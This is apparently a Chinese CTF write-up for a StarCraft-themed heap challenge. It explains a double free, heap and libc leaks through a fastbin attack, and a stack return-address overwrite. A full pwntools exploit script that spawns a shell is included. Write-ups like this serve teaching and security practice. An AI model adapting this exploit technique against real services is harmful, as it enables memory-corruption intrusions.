Do you like playing sc? Come on, boy ~
程序是一个Starcraft的简易版(其实跟sc没啥关系……),特别是在binary中,漏洞比较明显,但利用比较繁琐一些。
漏洞
当form_army返回时,会将vector中所有的元素清空并delete,这是因为其作用域结束了,所以在函数末尾返回前会自动delete,可造成unit对象中的name指针的double free。
其实在源码中这个漏洞还是较难发现的,不过到了binary中就很明显了,出题失误……
Leak
通过free掉一个name,然后再查看unit信息,就能够直接读出fd从而leak heap地址。
通过将vector增大到16,即可让其free一个non-fastbin chunk,从而在堆上出现一个unsorted bin指针。利用fastbin double free的方式做fastbin attack,可以任意控制某个unit对象的name指针,从而做到任意内存读,这样就能够leak出libc的地址。
Exploit
程序限制了能够分配的size,所以传统的realloc_hook已经不可用了,需要考虑攻击其他位置。
本题的intended solution是通过leak libc中的environ
变量来leak栈的地址,随后将vector增大到32,这样栈上就出现了一个可以利用的size,使用fastbin attack将chunk转移过去,发现长度不够覆盖到main_loop
函数的return address。所以,需要在main_loop
函数的栈帧中再写上一个更大的size,再一次使用fastbin attack,这次就能覆盖return address了,随后在其上做一个rop即可。
当然这并不是唯一的做法,解出此题的3支战队都使用了其他黑科技,非常厉害给跪了……
参考利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
|
from pwn import *
p = remote('127.0.0.1', 9776) libc_environ = 0x3c14a0 libc_one_gadget = 0xe5765 libc_main_arena = 0x3be760
leaked_heap_offset = 0xc0 ubin_in_arena = 0x68 fake_chunk_offset = 0x110 unsorted_chunk_offset = 0x500 stack_chunk_offset = 0x158
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))
def new(name): p.recvuntil('> ') p.sendline('1') p.recvuntil('? ') p.sendline('zealot') p.recvuntil('unit: ') p.sendline(name)
def delete(idx): p.recvuntil('> ') p.sendline('5') p.recvuntil('unit: ') p.sendline(str(idx))
def free(idx): p.recvuntil('> ') p.sendline('4') p.recvuntil('> ') p.sendline('1') p.recvuntil('unit: ') p.sendline(str(idx)) p.recvuntil('> ') p.sendline('4')
def leak(idx): p.recvuntil('> ') p.sendline('3') p.recvuntil('unit: ') p.sendline(str(idx)) p.recvuntil('Name: ') return p.recvuntil('\n', drop=True)
new('AAAA') free(0)
leaked_heap = pick64(leak(0)) heap_base = leaked_heap - leaked_heap_offset print '[+] heap_base @ %#x' % heap_base fake_chunk = heap_base + fake_chunk_offset unsorted_chunk = heap_base + unsorted_chunk_offset
payload = 'A' * 0x20 + p64(0) + p64(0x41) + '\0\0' new(payload)
for i in range(16): new('A' * 0x30)
free(2) free(3) free(2)
payload = p64(fake_chunk).ljust(0x30, '\0')
new(payload) new('B' * 0x30) new('C' * 0x30)
payload = p64(0) + p64(0x31) + p64(0) + p64(0) + p64(unsorted_chunk) payload = payload.ljust(0x30, '\0')
new(payload)
unsorted_bin = pick64(leak(2)) libc_base = unsorted_bin - ubin_in_arena - libc_main_arena print '[+] unsorted bin @ %#x' % unsorted_bin print '[+] libc base @ %#x' % libc_base one_gadget = libc_base + libc_one_gadget environ = libc_base + libc_environ
free(4) free(5) free(4)
payload = p64(fake_chunk).ljust(0x30, '\0')
new(payload) new('D' * 0x30) new('E' * 0x30)
payload = p64(0) + p64(0x31) + p64(0) + p64(0) + p64(environ) payload = payload.ljust(0x30, '\0')
new(payload)
leaked_stack = pick64(leak(2)) stack_chunk = leaked_stack - stack_chunk_offset print '[+] stack chunk @ %#x' % stack_chunk
for i in range(32 - 25): new('FFFF')
free(31) free(30) free(31)
payload = p64(stack_chunk) delete(31) new(payload) delete(31) new('GGGG') delete(31) new('HHHH') delete(31)
payload = p64(0) + p64(0x61) new(payload)
delete(30) new('I' * 0x50) delete(30) new('J' * 0x50)
free(31) free(32) free(31)
delete(31) payload = p64(stack_chunk + 0x10).ljust(0x50, '\0') new(payload) delete(31) new('K' * 0x50) delete(31) new('L' * 0x50)
delete(31) payload = '\0' * 0x38 + p64(one_gadget) payload = payload.ljust(0x50, '\0') new(payload)
p.recvuntil('> ') p.sendline('6')
p.interactive()
|